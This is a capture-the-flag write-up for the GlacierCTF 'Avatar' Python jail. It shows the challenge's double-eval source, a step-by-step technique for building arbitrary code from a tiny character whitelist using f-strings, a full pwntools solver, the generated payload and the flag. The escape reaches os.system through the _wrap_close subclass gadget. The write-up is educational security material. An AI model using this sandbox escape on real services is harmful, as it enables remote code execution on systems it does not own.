Avatar [52 Solves]

Description

The avatar is imprisoned in an ice jail. Can you help him awaken his powers?

author: hweissi

nc chall.glacierctf.com 13384

Attachments: chall.py

chall.py

print("You get one chance to awaken from the ice prison.")
code = input("input: ").strip()
whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag
if any([x not in whitelist for x in code]) or len(code) > 40000:

    print("Denied!")
    exit(0)

eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {})

Flag

gctf{But_wh3n_th3_w0rld_n33d3d_h1m_m0st_h3_sp4wn3d_4_sh3ll}

Solution

This is Python Jails Escape challenge.

A global function such as input() cannot be used because both globals and __builtins__ is set to {}.

Checking an available character:

$ echo 'gctf{"*+*(=>:/)*+*"}' | fold -1 | sort -u | tr -d '\n'
"()*+/:=>{}cfgt

Since f is available, f-string is useful. c is available too so we can generate characters using f"{97:c}".

>>> f"{97:c}"
'a'

Numeric characters such as 0 or 1 cannot be used directly. Instead, numbers can be generated using the equality comparison ()==() to evaluate to True and the arithmetic operation of +.

>>> f"{(()=={}):c}"
'\x00'
>>> f"{(()==()):c}"
'\x01'
>>> f"{(()==())+(()==()):c}"
'\x02'
>>> f"{(()==())+(()==())+(()==()):c}"
'\x03'

By using variable definitions with f-strings, it is possible to shorten the length of the generated payload.

>>> f"{(null:=(()=={})):c}"
'\x00'
>>> f"{(one:=(()==())):c}"
'\x01'
>>> f"{(two:=(one+one)):c}"
'\x02'
>>> f"{(three:=(one+two)):c}"
'\x03'

Using these features, I will generate a payload for Remote Code Execution (RCE) Python code. I used the following for RCE Python code:

[m for m in  ().__class__.__bases__[0].__subclasses__() if m.__name__ in '_wrap_close'][0].__init__.__globals__['system']('ls -la')

The generated payload is expected to take a form like f"{varia}{ble}{defen}{ition}{RCE}{code}".

However, there is a possibility of an error since the variable definition part is interpreted as a number. For example:

>>> eval(eval('f"{(a:=97)}print(1)"'))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1
    97print(1)
     ^
SyntaxError: invalid decimal literal

In order to fix this issue, setting the multiplication of the variable definition section to 0, then added 9 (\t). By prefixing the payload with \t, I made it possible to execute the second eval.

>>> eval(eval('f"\tprint(1)"'))
1
>>> eval(eval('f"{(tab:=9):c}print(1)"'))
1
>>> eval(eval('f"{(a:=97)*(b:=98)*(null:=0)+(tab:=9):c}print(1)"'))
1

Exploit

solver.py

from pwn import remote, process, context

context.log_level = "ERROR"

MAPPING = {
    0: "c",
    1: "f",
    2: "g",
    3: "t",
    4: "cc",
    5: "cf",
    6: "cg",
    7: "ct",
    8: "fc",
    9: "ff",
    10: "fg",
    11: "ft",
    12: "gc",
}


# prepare 1, 2, ... , 12 and assign it to variables
def variable_definition():
    formulas = f"""
        {MAPPING[0]}  := (()=={{}})
        {MAPPING[1]}  := (()==())
        {MAPPING[2]}  := {MAPPING[1]}  + {MAPPING[1]}
        {MAPPING[3]}  := {MAPPING[2]}  + {MAPPING[1]}
        {MAPPING[4]}  := {MAPPING[3]}  + {MAPPING[1]}
        {MAPPING[5]}  := {MAPPING[4]}  + {MAPPING[1]}
        {MAPPING[6]}  := {MAPPING[5]}  + {MAPPING[1]}
        {MAPPING[7]}  := {MAPPING[6]}  + {MAPPING[1]}
        {MAPPING[8]}  := {MAPPING[7]}  + {MAPPING[1]}
        {MAPPING[9]}  := {MAPPING[8]}  + {MAPPING[1]}
        {MAPPING[10]} := {MAPPING[9]}  + {MAPPING[1]}
        {MAPPING[11]} := {MAPPING[10]} + {MAPPING[1]}
        {MAPPING[12]} := {MAPPING[11]} + {MAPPING[1]}
    """
    formulas = formulas.replace(" ", "").strip().split("\n")

    payload = (
        "{"
        + "*".join([f"({formula})" for formula in formulas])  # multiplying anything by 0 results in 0
        + "+"
        + MAPPING[9]  # \t
        + ":c}"
    )

    return payload


# convert pycode
def rce_pycode(pycode):
    payload = ""
    for c in pycode:
        payload += "{"
        payload += f"{MAPPING[10]}*{MAPPING[ord(c) // 10]}"

        if ord(c) % 10 != 0:
            payload += f"+{MAPPING[ord(c) % 10]}"

        payload += ":c}"

    return payload


def main():
    rcecode = "[m for m in  ().__class__.__bases__[0].__subclasses__() if m.__name__ in '_wrap_close'][0].__init__.__globals__['system']('cat flag.txt')"
    payload = 'f"' + variable_definition() + rce_pycode(rcecode) + '"'

    # assertion
    whitelist = """gctf{"*+*(=>:/)*+*"}"""
    assert all([x in whitelist for x in payload]), "payload is not in whitelist"
    assert len(payload) <= 40000, f"{len(payload)=}"

    # print(payload)

    # io = process("chall.py")
    io = remote("chall.glacierctf.com", 13384)
    io.sendlineafter(b"input:", payload.encode())
    io.interactive("")


if __name__ == "__main__":
    main()

generated payload:

f"{(c:=(()=={}))*(f:=(()==()))*(g:=f+f)*(t:=g+f)*(cc:=t+f)*(cf:=cc+f)*(cg:=cf+f)*(ct:=cg+f)*(fc:=ct+f)*(ff:=fc+f)*(fg:=ff+f)*(ft:=fg+f)*(gc:=ft+f)+fg:c}{fg*ff+f:c}{fg*fg+ff:c}{fg*t+g:c}{fg*fg+g:c}{fg*ft+f:c}{fg*ft+cc:c}{fg*t+g:c}{fg*fg+ff:c}{fg*t+g:c}{fg*fg+cf:c}{fg*ft:c}{fg*t+g:c}{fg*t+g:c}{fg*cc:c}{fg*cc+f:c}{fg*cc+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*ff+ff:c}{fg*fg+fc:c}{fg*ff+ct:c}{fg*ft+cf:c}{fg*ft+cf:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*cc+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*ff+fc:c}{fg*ff+ct:c}{fg*ft+cf:c}{fg*fg+f:c}{fg*ft+cf:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*ff+f:c}{fg*cc+fc:c}{fg*ff+t:c}{fg*cc+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*ft+cf:c}{fg*ft+ct:c}{fg*ff+fc:c}{fg*ff+ff:c}{fg*fg+fc:c}{fg*ff+ct:c}{fg*ft+cf:c}{fg*ft+cf:c}{fg*fg+f:c}{fg*ft+cf:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*cc:c}{fg*cc+f:c}{fg*t+g:c}{fg*fg+cf:c}{fg*fg+g:c}{fg*t+g:c}{fg*fg+ff:c}{fg*cc+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*ft:c}{fg*ff+ct:c}{fg*fg+ff:c}{fg*fg+f:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*t+g:c}{fg*fg+cf:c}{fg*ft:c}{fg*t+g:c}{fg*t+ff:c}{fg*ff+cf:c}{fg*ft+ff:c}{fg*ft+cc:c}{fg*ff+ct:c}{fg*ft+g:c}{fg*ff+cf:c}{fg*ff+ff:c}{fg*fg+fc:c}{fg*ft+f:c}{fg*ft+cf:c}{fg*fg+f:c}{fg*t+ff:c}{fg*ff+t:c}{fg*ff+f:c}{fg*cc+fc:c}{fg*ff+t:c}{fg*cc+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*fg+cf:c}{fg*ft:c}{fg*fg+cf:c}{fg*ft+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*cc+cg:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*fg+t:c}{fg*fg+fc:c}{fg*ft+f:c}{fg*ff+fc:c}{fg*ff+ct:c}{fg*fg+fc:c}{fg*ft+cf:c}{fg*ff+cf:c}{fg*ff+cf:c}{fg*ff+f:c}{fg*t+ff:c}{fg*ft+cf:c}{fg*gc+f:c}{fg*ft+cf:c}{fg*ft+cg:c}{fg*fg+f:c}{fg*fg+ff:c}{fg*t+ff:c}{fg*ff+t:c}{fg*cc:c}{fg*t+ff:c}{fg*ff+ff:c}{fg*ff+ct:c}{fg*ft+cg:c}{fg*t+g:c}{fg*fg+g:c}{fg*fg+fc:c}{fg*ff+ct:c}{fg*fg+t:c}{fg*cc+cg:c}{fg*ft+cg:c}{fg*gc:c}{fg*ft+cg:c}{fg*t+ff:c}{fg*cc+f:c}"

Result:

$ python3 solver.py
 gctf{But_wh3n_th3_w0rld_n33d3d_h1m_m0st_h3_sp4wn3d_4_sh3ll}

References